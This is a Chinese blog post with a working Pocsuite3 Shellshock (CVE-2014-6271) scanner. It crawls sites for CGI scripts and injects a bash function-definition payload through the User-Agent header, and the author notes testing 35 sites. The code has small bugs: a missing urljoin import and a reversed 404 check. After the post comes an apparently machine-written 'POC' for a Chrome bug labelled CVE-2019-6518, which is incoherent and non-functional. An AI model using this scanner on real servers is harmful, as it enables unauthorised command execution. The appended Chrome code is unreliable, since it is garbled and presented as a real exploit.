Pocsuite3--编写破壳CVE-2014-6271_Shellshock的POC

前言

编写破壳CVE-2014-6271_Shellshock的POC,把公开出来的路径封装起来,作为Pocsuite3的验证POC

情况1:网站无法访问,返回失败

情况2:网站可以访问,无漏洞

情况3:网站可以访问,有漏洞

优先获取网站本身的cgi路径,如果没有,就用自带的cgi路径测试。

代码

15分钟,35个站点

#!/usr/bin/env python
# coding: utf-8
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, logger
import random
import string
import re

dict = ["/cgi-bin/load.cgi",
        "/cgi-bin/gsweb.cgi",
        "/cgi-bin/redirector.cgi",
        "/cgi-bin/help.cgi",
        "/cgi-bin/about.cgi",
        "/cgi-bin/vidredirect.cgi",
        "/cgi-bin/click.cgi",
        "/cgi-bin/details.cgi",
        "/cgi-bin/log.cgi",
        "/cgi-bin/viewcontent.cgi",
        "/cgi-bin/content.cgi",
        "/cgi-bin/admin.cgi",
        "/cgi-bin/webmail.cgi",
        "/cgi-bin/authLogin.cgi",
        "/cgi-sys/entropysearch.cgi",
        "/cgi-sys/defaultwebpage.cgi",
        "/cgi-mod/index.cgi",
        "/cgi-bin/poc.cgi",
        "/cgi-bin/test.cgi",
        "/cgi-mod/index.cgi"
        ]

class DemoPOC(POCBase):
    vulID = '0'
    version = '1' 
    author = 'shenyi' 
    vulDate = '2014-10-16' 
    createDate = '2014-10-16'
    updateDate = '2014-10-16'
    references = ['https://www.invisiblethreat.ca/2014/09/cve-2014-6271/'] 
    name = 'Bash 4.3 远程命令执行漏洞 POC'
    appPowerLink = 'http://www.gnu.org/software/bash/'
    appName = 'Bash'
    appVersion = '3.0-4.3#'
    vulType = 'Command Execution'
    desc = '''
            Bash 在解析环境变量时,会解析函数,同时可以运行函数后的语句,造成命令执行。
            '''
    samples = []
    install_requires = []


    def _verify(self):
        result = {}
        vul_url_result = "" # 存放漏洞结果的URL
        try:
            vul_url = get_url_need(self.url)

            if not vul_url:                              # 网站不存活状态,直接返回
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = vul_url_result
                return self.parse_output(result)
            elif vul_url.endswith("/123456_test.cgi"):   # 未获取网页中的cgi链接状态
                pass
            else:                                        # 获取.cgi、.sh链接
                dict.insert(0,vul_url)
            random_str = ''.join(random.sample(string.ascii_letters + string.digits, 50))
            headers_fake = {}
            headers_fake['User-Agent'] = '() { :; }; echo; echo X-Bash-Test: %s' % random_str
            for url_path in dict:
                try:
                    test_url = self.url + url_path
                    # response = requests.get(vul_url, headers=headers_fake)
                    response = requests.get(test_url, headers=headers_fake)
                    response = response.text
                    if 'X-Bash-Test: %s' % random_str == response.split('\n')[0]:
                        vul_url_result = test_url
                except:
                    pass
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = vul_url_result
        except Exception as e:
            logger.exception(e)
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result['VerifyInfo']['URL']:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

    def _attack(self):
        return self._verify()

    def _shell(self):
        pass


def get_url(url):
    try:
        return requests.get(url).url
    except:
        return url



def get_url_need(url):
    url_need = None

    if not url.startswith('http'):
        url = 'http://%s' % url
    # 判断字符串是否以指定后缀结尾,如果以指定后缀结尾返回True,否则返回False。
    if url.endswith('.cgi') or url.endswith('.sh'):
        url_need = url
        return url_need
    # 验证HTTP有效性
    try:
        url = requests.get(url,timeout=10).url
    except:
        print("error : {}".format(url))  # 出错直接返回
        return ""
    # 获取主页连接
    url_need = get_link(url)
    # 如果没有获取到链接就使用自定义的CGI路径测试
    if not url_need:
        url_need =  url + "/123456_test.cgi"

    info = url_need
    # print info
    return info


def get_link(url):
    rnt = ''
    try:
        page_content = requests.get(url).text
        match = re.findall(r'''(?:href|action|src)\s*?=\s*?(?:"|')\s*?([^'"]*?\.(?:cgi|sh|pl))''', page_content)
        for item_url in match:
            if not item_url.startswith('http'):
                item_url = getAbsoluteURL(url, item_url)
            if not is_url_exist(item_url):
                continue
            if isSameDomain(item_url, url):
                rnt = item_url
                break
        return rnt
    except  Exception as e:
        # raise e
        return rnt


def getAbsoluteURL(base, url):
    url1 = urljoin(base, url)
    arr = urlparse(url1)
    path = normpath(arr[2])
    return urlunparse((arr.scheme, arr.netloc, path, arr.params, arr.query, arr.fragment))


def is_url_exist(url):
    try:
        resp = requests.get(url)
        if resp.status_code == 404:
            return True
    except Exception as e:
        pass
    return False


def isSameDomain(url1, url2):
    try:
        if urlparse(url1).netloc.split(':')[0] == urlparse(url2).netloc.split(':')[0]:
            return True
        else:
            return False
    except:
        return False


register_poc(DemoPOC)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2019-6518是Chrome浏览器的一个漏洞,攻击者可以通过该漏洞在用户计算机上执行任意代码。这个漏洞在Chrome 72之前的版本中存在。 以下是一个简单的POC: ```html <!DOCTYPE html> <html> <head> <title>CVE-2019-6518 POC</title> </head> <body> <script> var spray = new Array(); var i = 0; for (; i < 0x100; i++) { spray[i] = new Uint32Array(0x1000); } var oobArray = new Array(1); var maxSizeInDouble = 0x7fffffff; oobArray[0] = 0.1; var maxSizeInInt = new Int64(maxSizeInDouble); var idx = 0; var victim = null; function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } } function spray_dv() { var dv = new DataView(new ArrayBuffer(8)); var o = {a: 0}; var array = [o, 0.1, o]; var unboxed = new Array(0x1000).fill(0.1); var boxed = [{}]; boxed[0]['a'] = {}; boxed[0]['a']['b'] = 1.1; boxed[0]['c'] = unboxed; var maxInt = 0x7ffffff0; var minInt = 0x01000000; var kMaxNumIter = 100000; for (var k = 0; k < kMaxNumIter; k++) { var idx = ((maxInt - minInt) * Math.random()) + minInt; dv.setInt32(0, idx, true); var num = dv.getFloat64(0, true); if ((num >= 0x01000000 && num <= 0x7fffffff) || (num >= -0x80000000 && num < -0x7ffffff0) || (num >= -0x100000000 && num < -0xfffffffe)) { return; } } } function trigger() { var o = {a: 1.2}; var arr = [o, 0.1, o]; var n = arr.length - 1; var idx = 0x7ffffff0; var dv = new DataView(new ArrayBuffer(8)); var unboxed = new Array(0x1000).fill(0.1); var boxed = [{}]; boxed[0]['a'] = {}; boxed[0]['a']['b'] = 1.1; boxed[0]['c'] = unboxed; var maxInt = 0x7ffffff0; var minInt = 0x01000000; var kMaxNumIter = 100000; for (var k = 0; k < kMaxNumIter; k++) { var idx = ((maxInt - minInt) * Math.random()) + minInt; dv.setInt32(0, idx, true); var num = dv.getFloat64(0, true); if ((num >= 0x01000000 && num <= 0x7fffffff) || (num >= -0x80000000 && num < -0x7ffffff0) || (num >= -0x100000000 && num < -0xfffffffe)) { break; } } arr[n] = victim; } function corrupt() { gc(); spray_dv(); oobArray[0] = 1.1; victim = oobArray[0]; for (i = 0; i < 10000; i++) { trigger(); } alert(victim); } corrupt(); </script> </body> </html> ``` 该POC利用了Chrome中的数组越界漏洞,通过这个漏洞可以读写到数组之外的内存,从而达到任意代码执行的目的。请注意,这个POC只是一个演示,如果您想在实际环境中使用它,请务必小心,因为它可能会导致严重的安全问题。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值